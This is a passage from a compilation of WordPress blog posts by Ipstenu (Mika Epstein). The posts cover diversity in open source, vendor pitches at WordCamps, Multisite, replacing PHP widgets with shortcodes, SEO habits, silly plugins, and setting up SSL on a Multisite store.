Most groups work this way. You want to work with people you can get along with, so you pick people similar to you that add value to the party. Again, nothing’s wrong with that! Does that mean minorities get under-represented? Yes. And there is something wrong with how we’re skewed, in that way. It’s not really their fault. Like I said, I blame society. I can’t help but see the world as a woman who’s been treated like crap for being a woman, and white amles can’t help seeing the world as anything but who they are either. And I don’t think ‘forcing’ people to be diverse helps at all. It just sets up a whole mess of problems.
What can Open Source do?
So far, I think they’re doing it right, and much of that has to do with the need-based drive of technology. We need solutions, we don’t care who comes up with them, so long as they work and are secure. Also, because a lot of these developers are distributed, we lack the inherit problems of sight-prejudice, that is, if you can’t see I’m a minority, you rarely assume I am one. I become judged on the character and quality of my communication. This has drawbacks, of course. The lack of visual cues makes many of us seem like assholes (text is a terrible communication medium, as it leaves the reader to interpret what they will from what they read), when all we are is being direct.
It could be better, of course, but I don’t feel that forcing integration is going to do that in a way that won’t leave us with lingering animosity. The problem I face is that I *don’t* know the answer. I see the problem, and I feel, on a visceral level, the solutions we’ve made aren’t working. I rage against ‘Political Correctness’ because as we take away more and more ‘bad’ things to say, we’re left with a neutered society that lacks the ability to express their thoughts. You can’t say retard, lame, gay, or a hundred other words to express how stupid you feel something is, and with understandable reason. But saying ‘drat’ just doesn’t feel strong enough sometimes, and you want to shout ‘mother fucker!’ We lose freedom of expression in our quest to be fair.
This brings us back to my three questions:
- Why do people feel ‘minorities’ aren’t represented?
- Why do people feel equal numbers means equal representation?
- What makes equality?
The fact is, I don’t know. I think the answer is numbers, but that feels less right when I say it. It’s both in value of work and volume, certainly, but neither one is more important than the other, when we get around to it. Like I said at WordCamp San Francisco: WordPress would be nothing without the devs, but it would also be nothing without the users, and without the people who offer support. We all work together. And thankfully, for the most part, Open Source gets this.
My suggestion to minorities, of whom I am two, is that sometimes when we feel we’re being persecuted, or picked on, it’s actually not that at all. We may be reading a personal attack into something that wasn’t meant that way. Take a moment to reason it out.
My suggestion to the majority, of whom I am one, be careful when you make assumptions. When you look at the world from a place of privilege, it’s incredibly hard to see things from that other perspective. Also take a trip to where you’re the minority. It’s enlightening.
I call these self-perpetuating myths because they make themselves more important. The more white-guy-only groups, the more white-guy-only they remain, and the more minorities feel/appear undervalued and underrepresented. Like begets like, and so on, until finally all we have is a steaming pile of angry. I leave this open ended, as the development of humanity is ongoing, and I hope in a decade, I can come back and look at this in a new way.
**Categories:** How It Is
**Tags:** essay, open source
---
### [Listen to the Aftertaste](https://halfelf.org/2012/halfelf-chats/)
**Published:** June 29, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** So yeah, you heard me Wednesday night. Or now if you want to download it and listen. I dialed in to the WP Late Night Aftertaste.
**Content:**
On Wednesday, the guys at [WPCandy](http://wpcandy.com/) have a podcast, WP Late Night, where they talk about WordPress. After the show they have the Aftertaste. And this week I ended up on the Aftertaste.
Basically Dre noticed I was on IRC (a rarity for me) and asked if I wanted to join them. I thought about it, hauled my laptop into my office and chatted away for an hourish. I’m rarely home and un-busy on a Wednesday, so it’s a treat for me to listen live (instead of at work or on my iPad after the fact).
**[Aftertaste #25: After WP Late Night 15 (with Ipstenu!)](http://wpcandy.com/broadcasts/aftertaste/025-after-wp-late-night-15)**
I’m at the 52 minute mark or so, but the whole after show is 2 hours and change.
Mostly I talked about support, WordPress, a bit about me, and … Honestly I haven’t listened in great detail. My wife says I started quiet and got louder, and others have said I don’t sound like a twelve year old girl, so that’s something.
At the very least, you’ll hear me pronounce my own name.
Amusing things you will learn:
1. Why I can’t rent a car
2. Where I work (but not by name)
3. What WordCamps I’ll be at
4. My citizenship
5. My sense of humor is exactly the same as it is online
I admit to be tickled pink that people think I must be calm and patient with all the repetitive questions you get in the forums. I’m not, they just can see my rolling eyes. I have a sardonic sense of humor, though, so I put up with it. I just vent elsewhere.
Oh and the ‘book I wrote’ mention was, indeed, about [WordPress Multisite 101](https://halfelf.org/ebooks/wordpress-multisite-101/ "WordPress Multisite 101") (and it’s followup, [WordPress Multisite 110](https://halfelf.org/ebooks/wordpress-multisite-110/ "WordPress Multisite 110")) so feel free to link people to them.
Fun thing that didn’t get mentioned, yes, I’ll be at WordCamp Chicago. I have a ticket to WC San Francisco, and the vacation days, I just have to sort out the travel stuff and hotels, because I can’t rent cars, and stuff is expensive.
As an added bonus, [here’s the last time I did anything audio-esque](https://ipstenu.org/2010/shirley-maclaine/).
**Categories:** How It Is
**Tags:** interview, wordpress
---
### [WordCamp Elevator Pitches](https://halfelf.org/2015/wordpress-elevator-pitch/)
**Published:** April 13, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** You've got my attention. Now sell it right.
**Content:**
When I go to a WordCamp, I bring a little notebook. We had a DreamCon and there are about a vigintillion little Scout Books branded for it and no one at the company wants them, so I have 20 at my desk and a couple boxes more at home, and every month I burn through one. But I also bring a fresh one to each WordCamp:
[](https://halfelf.org/2015/wordpress-elevator-pitch/img_0103/)
WordCamp
[](https://halfelf.org/2015/wordpress-elevator-pitch/img_0105/)
March
Both of those notebooks are 90% full right now. At the end of a month, I copy over everything that wasn’t done in the previous book and put it on the first page. After that everything gets a new page and I X out the page when it’s done.
But this isn’t about how I take notes, or not, it’s about how I learn something new at every WordCamp I go to. Often I learn about new products from people I know, but other times I learn about new methods to coding, tricks I can use to improve my development processes, or just understanding a feature a little better.
I stress everyone should unplug at a WordCamp, turn off the laptop (unless you can just take notes without checking Twitter and Facebook compulsively), and listen. I take notes by hand because it forces me to focus. I have to listen and write and pay attention. By hand I can doodle as well, so I give myself visual clues to what I was thinking later on.
One thing I also do is that I take notes on sessions from the front to the back, but from the back to front I write down all the new-to-me products and features. Sometimes it’s just ones I know about and need to look into a little more. Sometimes they really are brand new. This is why I don’t take your business cards. I write down what I need to know, what I think about it, and your URL. If you can’t give me a URL (or your URL is too long) maybe I’m not going to look at your site.
After a camp, in my ‘downtime,’ I go back through the notes I’ve made, look them up, and decide if I like them or not. From that I’ve sorted out some tips for vendors and people trying to give me their elevator pitch on why I (or my company) need to pay attention to them.
## Make It Short
If it takes you longer than 5 minutes, I’m tuning out. You’re at a WordCamp, people are generally checking you out in between sessions, so we want the tweet version of what you’ve got.
> Our product compresses images better than SmushIt.
That was perfect. That got my attention and immediately had their name in my notebook.
## Make It Easy To Find
If I go to your URL, the one you gave me, and cannot find the ‘WordPress’ product in one click, you’ve failed and I’m not looking at you anymore. The aforementioned image compression tool failed on that one. I went to their company site, the one they gave me a URL to, there was no information on that specific product. In fact, it’s been a few days, and I googled for it, and I *still* can’t find it! I know it started with a V, but I assumed that they’d have a link to their WordPress related products on their webpage.
If the main URL of your site is not the one with this product, make that clear.
> Check out example.com/product-name/
Oh and that’s a great URL.
## Have a Demo
I want to see how good this is. Period. With the exception of ‘I’m a new webhost’ if you have a product, let me see if and if possible play with it. This is incredibly true of people who have proprietary code, like a service. No demo? Not going to look further.
## Be Ready for Tech Questions
You’re at a technical conference. I’m going to ask things like “Have you benchmarked against TinyPNG? What’s the improvement over the similar functions in Photoshop like XYZ? Does the plugin hook into an API on your end? How do you handle network latency and speed? What happens if it times out? What’s the failback?”
75% of the vendors I talk to at WordCamps tell me “I’m not the technical person…” That’s disheartening. If your sales people can’t answer the basic questions, or you don’t even have a white paper with some tech dirt, you’re not thinking about your audience. Selling to WordPress people means you shouldn’t forget the devs. You can sing and dance your cool factor all you want, but if someone asks a technical question, you should have a technical person around.
## Show Me The Code
This annoys me a lot. When people are selling a plugin, I have to buy it to see the code. So when someone asks me to eval, the first thing I ask is “Is this a service?” If it’s not, I’m annoyed I can’t see your code. Moreso when I ask you “Well I’d eval but it’s pay for. Can I look at the plugin source code?” and you say *no*.
If you’re at a tech conf and they want to see your code before committing, you may want to consider who you just asked to evaluate the code. I do explain that I’m a plugin reviewer for WordPress.org and I work for a webhost. Now if you’re interesting enough, I’ll buy your plugin and check it out. Still. A lot of us want to see the code.
## Your Product Beat Your Swag
There were two vendors at a recent WordCamp where the swag they gave out was more memorable than what they were selling. That’s just sad. I don’t care that you were giving away notebooks or watches or cups or shiny balls. I care what you’re selling.
**Categories:** How It Is
**Tags:** business, wordcamp
---
### [Whatevergram: The Honeymoon is over](https://halfelf.org/2014/whatevergram-the-honeymoon-is-over/)
**Published:** April 9, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Collecting my hipster media isn't as easy as I want it to be.
**Content:**
I’m not a photographer. I’m not artistic in that particular way and I don’t want to learn to have to be. The joy of Instagram is I can take a photo, slap a filter on it, put a border, and boom. Done. Share it with friends. The sad part about Instagram is putting that photo on my blog. It’s all machinations and annoyances.
What I wanted:
1. An easy way to take ‘styled’ pictures.
2. An easy way to push those pictures to my blog.
3. An easy way to determine how I want the pictures to post.
That’s all, three things. Now, Instagram wins at #1, and Pressgram wins at #2, and the both suck at #3.
That third one is the hardest, I guess, but what I want is that when I upload a file, it *either* makes an individual post or makes a gallery post of the whole day. And in both cases, I get the option of making a post publish right away or save it as a draft. I kind of love the idea of ‘This week in \[Insta|Press\]gram’ as a post for a photo blog. In looking at my options, I determined there’s one Pressgram plugin and a million Instagram, but none really do all of that.
But really … Pressgram 2.0 fixed most of my issues with UI, and for that I’m very happy about the new version. It’s easier to read and use, the layouts make sense. I’m even okay with the in-app purchases for things (though charging for some of the things Instagram offers for free strikes me as a poor call). Lacking the nice, snazzy filter names (imagine naming them after WP Themes) and borders/patterns means that if I want those in a quick way, I use Instagram and the *maybe* Pressgram to upload.
Except that isn’t what happens. I take a bunch of photos. At the end of the day I manually upload them all to my blog. Manually. What an annoying thing. I can’t do the one thing I want, which is make a gallery post. By default Pressgram 2 publishes my posts, so I have to use a plugin to not do that. Or I can use a plugin to import from Instagram (though again, it’s a single post per image). Of note, people recommended Instagrate to me, but it’s not Multisite compatible (says so on the plugin page) and that means it’s either poorly written or it’s doing something really wrong, since Multisite shouldn’t matter at all for that. Also it’s manual.
The best plugin I found was one that daily pulls in my Instagram pictures and saves them as draft, leaving me to manually merge and make a “This week in Instagram” gallery. There was another that can make a weekly post, but it’s old, out of date, and doesn’t actually save as draft anymore. There’s not really a perfect way to do that, though, as even the ‘import on demand’ plugins seem to have gaffs and time delays. Obviously Pressgram’s ‘Post direct’ method is going to be more precise, but even then it doesn’t have a ‘collect everything from a week’ if it’s going that.
I know I said the Honeymoon is over, but to be honest, I don’t know that it was ever here to begin with.
**Categories:** How It Is
**Tags:** essay, plugins, wordpress
---
### [Multisite Stands Alone](https://halfelf.org/2012/multisite-stands-alone/)
**Published:** December 31, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Multisite is the WP baby, and it can't do everything you want because we haven't written it all yet. That's all there is to it.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2//2012/12/nkotb.jpeg)While I wrote up a lot of reasons why you [shouldn’t use Multisite](https://halfelf.org/2011/dont-use-wordpress-multisite/), the truth is I really like it and find it well suited to my needs. But one of the big problems with it is that everyone’s network setup is different. Many times, when people ask for help in the forums, I have to sketch out the bare ideas of what to do and why. This brings people to their biggest complaint in Multisite: Why isn’t there a plugin for this already?
First and formost, Multisite is still ‘new’ for the mainstream. [Thelonius, the 3.0 release, is only two and a half years old](http://wordpress.org/news/2010/06/thelonious/)! WordPress 1.0 came out in 2004, just as a reminder. 3.0 is when Multisite was folded into full WordPress, and it’s not been there very long, but it’s changed a lot since the start. In 2010, when 3.0 came out, there were [10,000 plugins](http://wordpress.org/news/2010/07/100-million/) in the repository. Today we’re at 22,000 and growing every day. When it comes to single site WordPress, the plugin world is mature and populated. Of those 22,000, about 300 are specific for Multisite. That’s a pretty small number when you look at the over 1000 plugins that do something with Twitter. Of course, most plugins work with Multisite anyway, but the ones that are Multisite *specific* are the ones to look at here.
A plugin is developed to fit a need. A good developer tries to keep the plugin simple and adaptable, so as many people as possible can use it for as many situations as suit their needs. Doing that has a lot of weird scope creep, of course, and if you consider that we do have 1000 twitter related plugins, you may understand why. Plugins fit a need, and when they don’t we extend/fork/hack the plugin to fit *our* specific need. Multisite, in and of itself, is fitting a need, and while that need is very specific, it’s also very broad. There are myriad reasons to use Multisite, and because of that, those 300 plugins that are built specifically for Multisite have to meet all of our needs. Of course, that’s not how it works.
While the majority of themes and plugins work *just fine* on Multisite, the ones people get in arms about are the ones that are supposed to be ‘for’ Multisite. These plugins should do more, but not too much. They should meet my specific needs, as well as all of yours and hers and his too. There should be a plugin for everything. Why am I the only person who wants this? I walk away from those arguments a lot, or I point out “You’re not the only person who wants it, but you’re possibly the only person who wants it *in that way*.”
Plugins are not the silver bullet for everyone. Your site may be a werewolf, mine a zombie, and his a vampire. Each one has their own needs and because of that, their own requirements. So let’s be direct. The whole reason you can’t find the perfect plugin is because no one’s a mind reader. The reason you can’t find everything you want in one plugin is because you didn’t write it (or have it written).
What does that mean? Multisite is still young, and those 300 Multisite specific plugins aren’t all Multisite *specific* first of all. At least a third are listed as Multisite because they work on Multisite. For example, [bbPress](http://wordpress.org/extend/plugins/bbpress/) is tagged ‘multisite’ but it wasn’t built ‘for’ Multisite. On the other hand, [Networks for WordPress](http://wordpress.org/extend/plugins/networks-for-wordpress/) is built for Multisite, and nothing else.
The best way to tell if a plugin is built just for Multisite is to see if it set ‘Network:true’ in the code. If you open up the code of the plugin, you can see this in the header:
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/network-true.png)
Now, not all Multisite plugins are meant to be Network enabled, but only plugins that are for Multisite will be Network only like that, so it’s one way to make sure that plugin is intended for Multisite. The downside to that is expressed via something like BuddyPress, which *if* you use on a Multisite must be network activated, but you don’t have to use it on Multisite. This means the check isn’t perfect.
[](https://halfelf.org/wp-content/uploads/sites/2//2012/12/nkotb-new-kids-on-the-block-2314664-1280-960.jpeg)The point to all this is that Multisite’s still the new kid in town. It isn’t perfect, and it is still evolving and changing in pretty dramatic ways. Also, I find it pretty cool to watch it grow. But the reason you can’t find all the plugins you want with it is really simple: They haven’t been written. You may actually be the first person who wants something done in that specific way, and with the myriad new methods Multisite gives us to do amazing things, there’s a lot of room for different options.
What should you do if you’re not a coder and want something that’s never been done? Well, learn to code. Or hire a coder. I wish there was another way, but when you want that special one-off toy that really isn’t suitable for everyone, you’re going to need to meet the challenge head out. None of this is meant as an excuse, by the way, but an explanation. It’s just not done. Yet.
**Categories:** How It Is
**Tags:** coding, multisite, plugins, wordpress
---
### [No More PHP Code (In Widgets)](https://halfelf.org/2013/no-more-php/)
**Published:** November 5, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Breaking up with PHP Code in Widgets is making friends with Otto.
**Content:**
I consider Otto one of my friends. He’s a guy I don’t mind hanging out with in a bar for hours. His code advice (and debugging advice) has furthered my career. He’s also one of the more realistic folks out there when it comes to work/life balance. Enjoy your beers, bro. So you can guess my surprise when, a couple years ago, he lamented to me about his plugin, [PHP Code Widget](http://wordpress.org/plugins/php-code-widget/), and how he wished everyone would quit using it. “I use it.” I replied, and earned an Otto-Grumpy Cat glare. “Don’t.”
Further conversations illuminated the situation. The code works, but it’s not great since people can use it to insert anything PHPish. Sure, in the wrong hands that is hella dangerous. I was *about* to broadly declare “I’m not the wrong hands!” when I thought back on everything I do, and where I do it, and I sheepishly replied, “I guess I’m just lazy.”
And that’s the crux. I am lazy, and I looked for the easier way to include a PHP file in my widget areas. I was using it to show ads (the ones you see all over this site) via `include("/home/foo/public_html/blah.php");`. Why? Because I use the same ads on multiple places. But that’s *it* for my PHP usage. Which means for me, replacing it with anything else is super easy!
### Shortcodes
They work in widgets, so hey! I knew I just needed to include a specific PHP file from a specific location, so for me, this was pretty simple. Also it meant I could call a `do_shortcode` in other places in my theme functions to add it in.
I put in the little fail check to be hidden, so I would know where to look. This obviously works well for me since I’m pretty limited in how I was using Otto’s code. Before this, though, I was also using it for some [BuddyPress sidebar trickery](https://halfelf.org/2011/customizing-sidebar-profile-bp/) which could not be done (easily) with shortcodes, and really nor should it be, so that brings us to number two…
### Make Your Own Widget
Widget code is … weird. It’s not as easy as a function, and it’s way the heck larger than shortcode code, for many things. But you should remember that better or worse is subjective, I know, but for me it wasn’t worth the time to do it. It takes me way longer to master widget code, which I can’t use everywhere (in post content, in footers etc). But Otto’s general advice has been to make a widget.
It’s also probably way safer than doing an include like I am, but when I started needing the shortcode all over the place, that’s what it was.
**Categories:** How To
**Tags:** coding, plugins, widget, wordpress
---
### [Is SEO Best Handled by a Plugin or Theme?](https://halfelf.org/2013/seo-plugin-vs-theme/)
**Published:** December 2, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** While WordPress is great at SEO, it can be improved upon by good themes and good plugins. But which is best and won't leave me hanging out to dry if I change themes?
**Content:**
I’m not an SEO expert, but I know a heck of a lot more than many people who claim they are. For the record, I’ve been messing with SEO since it was ‘correct’ to put hidden text in the source code of your site. I used to spend time getting sites to rank well on Lycos and Altavista, back when I was but a wee intern for my friends. It’s fair to say I’ve been around the block with SEO.
I don’t consider myself an expert because of skill, though in the last couple years, I’ve decided not to keep up as closely with things like [schema](http://schema.org/), mostly because I don’t have to. I still retain a solid grounding in what does and does not make for good SEO (content!), and I understand that part of good SEO isn’t just content, it’s how the content is displayed for the reader, but also how the information is sorted for the computers at search engine companies.
[](http://www.flickr.com/photos/wavyday/4431348645/in/photostream/)Credit: [Plymouth UK](http://www.flickr.com/photos/wavyday/4431348645/in/photostream/)About every couple months, someone asks me if I prefer using a theme or a plugin to manage my SEO, and I have been giving the same answer for a couple years now. I don’t use either.
This does not mean that the themes I use aren’t ‘SEO’ optimized, of course. It means that I don’t use their ‘extra’ features. I use, primarily, [StudioPress’ Genesis Framework](http://www.shareasale.com/r.cfm?b=346200&u=728549&m=28169&urllink=&afftrack=) right now, and that comes with an SEO settings page which I never use. Ever. In fact, I turn it off in any child theme I make. This is not because I don’t think that it’s useful, but that what I do ‘use’ for SEO is already included.
My SEO consists of making my content fantastic, using a theme that includes schema headers (or adding them myself if not), and following the guidelines Yoast outlines in his article [WordPress SEO Tutorial](http://yoast.com/articles/wordpress-seo/). I don’t do *everything* he says (he likes ‘category/postname’ for permalinks, I like ‘year/postname’ but if date doesn’t really matter, I use category instead), but I do read and *think* about what it means.
That’s the crux isn’t it? I don’t blindly follow advice, or use a plugin or theme because people say I have to. I read, I think, and I come to logical conclusions, and I apply them after I write my post.
For example, Yoast says not to use ‘stopwords’ in titles and make them SEO friendly. I take this to mean your human readable title should be gripping, but the title slug should be short, to the point, and descriptive. So I customize every single title. I come up with four or five before I post, and then when I have one with a good grab, I tweak the title slug to be as short as possible, while still being descriptive. Sometimes I’m better at this than others, but I keep working it.
Next I customize my ‘publicize’ lede. This has to be good and it has to be short. I know I’m using my helf.us yourls, so the URL itself will be tiny, but that doesn’t mean I should use just my title for Twitter. I customize it, trying to make it a little more witty and pithy, to reflect me and my readers. Finally I customize my excerpt. Oh yes, my excerpts are all custom written, and they are intended to grab you hard. Like Yoast, I feel the only well written description is a hand written one, and I do it. For everything.
This puts me at a funny disadvantage. Most plugins and themes I’ve seen tend to want you to make a custom meta description. There are plugins (like the one I *do* use, listed further down in this post) that allow you to use your excerpt as descriptions, but I’ve never quite understood why themes make this so hard. In Genesis, I have a field for “Custom Post/Page Meta Description” in every post, which if I use it, will change the meta value for description.
When I dug into the code, I saw that it was pulling this:
Clearly all I need to do is make that default to what I want. And when I figure that out, I’ll let you know. Right now, all I could do was remove Genesis’ function and replace it with my own. Not elegant at all.
Now all that said, there are times when I see to ‘improve’ upon the SEO I’ve been given, because someone else is handling the content will far less care than I give. When that happens, I grab [Yoast’s WordPress SEO Plugin](http://yoast.com/wordpress/seo/). But for the most part, I don’t do anything on a regular basis that involves having to ‘customize’ my SEO, so it’s infinitely portable to any theme I want.
**Categories:** How It Is, How It Works
**Tags:** plugins, seo, themes, wordpress
---
### [Ministry of Silly Plugins](https://halfelf.org/2013/silly-plugins/)
**Published:** December 30, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes you have to look at what's weird to understand how great a thing can be. Study and learn from the silly!
**Content:**
It’s been too serious lately, and this is the last (planned) post for the year, so what are your favorite, totally useless, plugins?
I wrote one. [Rickroll](http://wordpress.org/plugins/rickroll/) – Changes ever video to RickRoll. It’s useless, pointless, and funny. I don’t actually know anyone who uses it.
For IE6 users, there’s [Graceless Degradation](http://wordpress.org/plugins/graceless-degradation/) which just punishes IE6 users with Comic Sans. Speaking of, there’s also [Comic Sans](http://wordpress.org/plugins/comic-sans/) which does it for everyone and [Comic Sans FTW](http://wordpress.org/plugins/comic-sans-ftw/) which is when you need it on your admin dashboard.
Not enough color? Suzette likes [Nyan Cat](http://wordpress.org/plugins/nyan-cat/). Just a great big NYAN on the screen. Otto wrote [Unicornify](http://wordpress.org/plugins/unicornify/) which makes your gravatars Unicorns (and would Gravatar please buy/absorb them and make them real? Please? More gravatar options needed!). Similarly he wrote [Rainbowify](http://wordpress.org/plugins/rainbowify/), for the gaudiest toolbar ever.
Need more snark? My snarky friend Andrew likes [Get Snarky](http://wordpress.org/plugins/get-snarky/) – one of the goofiest “Hello Dolly” replacements out there.
Want to live dangerously? [Logout Roulette](http://wordpress.org/plugins/logout-roulette/) will randomly log you out! One chance in ten is way better than traditional Russian Roulette of course.
Finally, how about a good old fart joke? [Farticles](http://wordpress.org/plugins/farticles/) farts while you scroll.
Someone might ask “What is the point of these plugins?” To them I say “The same as for Hello Dolly.”
The point of a plugin isn’t *always* to do awesome things and make your site have every feature it needs. It’s also to demonstrate the exponential extendability of WordPress. To show you the myriad ways you can take a site and make it wonderful. If learning by being silly is what it takes, then by all means, make a silly plugin! A silly plugin, much like the [intentionally evil plugins](http://breakfix.elftest.net/) I like to make, serve the same sort of purpose. Teaching people how to do things in a better way.
A silly plugin is way less terrifying than an evil one, though I tried to keep my evil down to a low level of annoying rather than truly evil. You can take the bones of either kind of plugin and legitimately do things that really are not in anyone’s best interests, but you can also take them to see how everything is put together in WordPress.
How have you learned from weird, silly, code?
**Categories:** How It Is
**Tags:** coding, plugins, wordpress
---
### [Giving Back Anew](https://halfelf.org/2014/giving-back-anew/)
**Published:** January 31, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Giving back to something new in WordPress is just a part of WordPress.
**Content:**

One of the things that makes WordPress special is that people give back. Even people who make their living off WordPress via their plugins or themes give back in some way, be it testing new versions, submitting patches, or even making suggestions and asking questions. I got my start by giving back and answering low-tech questions in the forums.
Thus it’s natural that, while testing Easy Digital Download’s new version, I reported problems upstream:

And perhaps more natural that I made my first attempt at a patch on Github for it as well:

My code patch is a total of three lines. Four if you count the one I deleted. That’s all it takes to help contribute. You could even fix a typo.
What does this have to do with ebooks? The patch I submitted was for the display of the `[downloads]` shortcode, which will allow you to more easily display a flexible column list of your downloads. If you’ve seen my [Catalog](http://store.halfelf.org/catalog/) page, the books are listed with multiple items per line. But I’m not using any columns. With my code patch, you’ll be able to do this:
`[downloads columns="0" thumbnails="true" orderby="title" order="ASC" buy_button="no" category="wp" price="no"]`
Which outputs no columns and no breakpoints at all. Then you just need some CSS.
Voila! Flexible columns!
**Categories:** How To
**Tags:** plugins, wordpress
---
### [Why Not Multisite?](https://halfelf.org/2014/why-not-multisite/)
**Published:** February 3, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Anything you want to do on a Multisite you can do on a single install of WordPress, with the right plugins. But... Maybe there is a good reason for Multisite.
**Content:**
My most popular post ever has been [Don’t Use WordPress Multisite](https://halfelf.org/2011/dont-use-wordpress-multisite/), which I wrote in 2011. It’s 2014 so it was time for a revisit of this concept.
The point I made in 2011, and again at WordCamp San Francisco in 2013, was that while Multisite is amazing and awesome and wonderful, it’s got limitations. I love it, I think it’s perfect for me, but I always keep those limitations in mind and try to educate people as to what they are. I think I have a pretty good grasp on them by now, and so does Nacin:
> [@jbenton](https://twitter.com/jbenton?ref_src=twsrc%5Etfw) [@Krogsgard](https://twitter.com/Krogsgard?ref_src=twsrc%5Etfw) Basically read everything [@Ipstenu](https://twitter.com/Ipstenu?ref_src=twsrc%5Etfw) has written (including when she suggests to not use it).
>
> — Andrew Nacin (@nacin) [December 20, 2013](https://twitter.com/nacin/status/413910740756869120?ref_src=twsrc%5Etfw)
[](https://halfelf.org/wp-content/uploads/sites/2/2014/01/de1d1489912369ae0e186a31257bc9eb871c60ea7681d0a67d20e314687cd2c2.jpg)This may make you wonder what I could possibly say that hasn’t been said before? The questions remain the same, but the answers change a little as time goes by. I want to stress that for every single reason I’m going to list as a case for *not* using Multisite, I probably have broken. Rules aren’t meant to never be broken, their meant to make sure we understand what and why we’re doing what we’re doing.
The absolute number one aspect about Multisite that you cannot forget is this: Multisite is for running multiple WordPress blogs (aka sites) on one install (aka a network), with *separate* content but a shared base for code and users.
If I was to make it a rule it would be this: Don’t use Multisite unless you want to run multiple WordPress sites, each with their own admin section.
But …
You know how I made that list of reasons? Like you don’t need it to categorize posts and make a site that’s all the same (or even all different), and I still firmly think that no one has any reason in the world to have a site that [duplicates content 100%](https://halfelf.org/2013/how-to-duplicate-content/). Sometimes you do need Multisite for this stuff. Or rather, sometimes you *can* use Multisite, and it’s not the wrong choice!
### You don’t need Multisite
WordPress comes with categories so just use that. Want to remove the word ‘/category/’ from your permalinks? [WordPress SEO (by Yoast)](http://wordpress.org/plugins/wordpress-seo/) can do that, as can [No Category Base](http://wordpress.org/plugins/no-category-base-wpml/). Need to limit an author to a category? Use [Author Category](http://wordpress.org/plugins/author-category/)! In addition, there are Custom Post Types, which you can create for each ‘category’ and then limit authors using [Custom Post Type Privacy](http://wordpress.org/plugins/custom-post-type-privacy/).
WordPress comes with categories and Custom Post Types which let you keep your site looking exactly the same from page to page to page, which is awesome. This is, in an essence, what WordPress was made for. If you don’t want your ‘sections’ to look the same, hey theme templates will let you customize the look and feel of each category (or CPT) as you want. WordPress is crazy flexible, and plugins are phenomenally wonderful to let you customize WordPress to the nth degree. Like [categories as subdomains](http://wordpress.org/plugins/subdomains/), which means it’s theoretically possible to do the same for a CPT. I know you can [map CPTs to domains](http://wordpress.org/plugins/domain-mapping-system/) already.
Before someone gets all snippy about how too many plugins make your site slow, I have to point out that too many *poorly written* plugins do this. It’s not the number, it’s the quality. A bad theme can slow your site down too, and I see that every single day.
### You could use Multisite
So why would I use Multisite for those situations?
[](https://halfelf.org/wp-content/uploads/sites/2/2014/01/2c694ffe7037d81fb1270e3b8c695684b6ed62be4473345bd23b927c5d52ef0a.jpg)What if your ‘sections’ aren’t just meant to segregate content? Like you’re selling eBooks and you want to run a whole special ecommerce tool for tracking and payment. Or maybe you’ve got a membership tool and want to set up a news site where people can register and write, but keep them off the ‘main’ site where you’ll be linking featured content back. What about a site that will exist for a year to represent an event like a WordCamp, and then be ‘retired?’ Suddenly we’re talking categories in a different light, and maybe, just maybe, Multisite would work for this.
It’s *easier* in Multisite to totally re-skin a section because it’s using its own theme. You can quickly spin up a child theme just for one site, or use a plugin like the CSS Editor that comes with Jetpack to allow each site it’s own custom CSS.
Because each site is separate, I can limit plugins and prevent load creep per site. Not every ‘section’ needs the same plugins, after all. And at the same time, the ones that *do* can be network activated. Also a growing number of plugins are taking Multisite into consideration, like [W3 Total Cache](http://wordpress.org/plugins/w3-total-cache/) now lets the network admin configure a large amount of caching settings for the network as a whole! This number grows every day.
### Which Should I Use
There isn’t one perfect answer here, but that’s true of all things WordPress. I think my cardinal rules of Multisite are mutable and all colored with a great deal of “It depends.” For every single reason I wouldn’t use Multisite, I also *would* (and probably have) used it. You have to take into consideration supportability most of all, though. Multisite’s worst flaw is that it leads to cases where your eyes are bigger than your stomach, and your network becomes huge and unwieldily before you’re ready to cope.
The one rule I’ve yet to break, and one I strongly feel no one should, is this: *Never use Multisite if your users cannot know about other sites.*
Other than that? Hey, the world is your oyster!
Multisite is big. It’s daunting. It’s complicated. It’s still, and probably will always be, *harder* than running a single blog, which makes sense. You’re no longer running a site, you’re running a *network*.
**Categories:** How It Works
**Tags:** multisite, plugins, themes, wordpress
---
### [SSL for One Domain on Multisite](https://halfelf.org/2014/ssl-for-one-domain-on-multisite/)
**Published:** February 5, 2014
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Quickly setting up SSL for one domain on my multisite.
**Content:**
To start with, I made a mistake and assumed, bad me, that the Terms of Service that let me collect donations for my ebooks would similarly be okay with collecting *payments* for said ebooks. Alas, no. “Digital goods including digital currency” are not permitted, and that was my bad. It resulted in me losing my entire account and having to fight to get my customers their money back.
Meanwhile I decided to get started on making an easy way for people to pay and stay on my site (like Stripe), and this, no matter what, means I need to have SSL.
Normally that’s not too much of a problem, but my store happens to be a subdomain of a mapped domain on a multisite. My WordPress install is at ipstenu.org. This site is actually tech.ipstenu.org, and my store (store.halfelf.org) is actually hshop.ipstenu.org (stands for HalfElf Shop…). I used domain mapping to point halfelf.org to tech.ipstenu.org, and store.halfelf.org to hshop.ipstenu.org. While I *could* just edit the site and home URL in the ‘Edit Site’ page, domain mapping is needed for in order to tell WordPress that the domain is really a thing.
Setting all that up was the easy stuff, though. The SSL part was something I’ve poked at before and given up, since [multiple domains and one SSL cert is a pain in the ass](https://halfelf.org/2011/request-multidomain-1ip-sslcert/ "Request: Multiple Domains, One IP SSL Certificates"). But today, if you go to [the Half-Elf Warehouse](https://store.halfelf.org/), you’ll see it’s all SSL! (NB: It was. It’s now only SSL on pages that need SSL, to allow for better caching.)
### You will need….
- An SSL Certificate
- An add-on domain
- wp-config.php edits
- .htaccess edits
- [WordPress HTTPS Plugin](http://wordpress.org/plugins/wordpress-https/)
**SSL Certs**
This is the easy part. You need an SSL certificate for the domain you need to protect. If this is the *only* domain you want to add this on to, it’s relatively easy. If you need to add SSL on to multiple domains, check with your webhost.
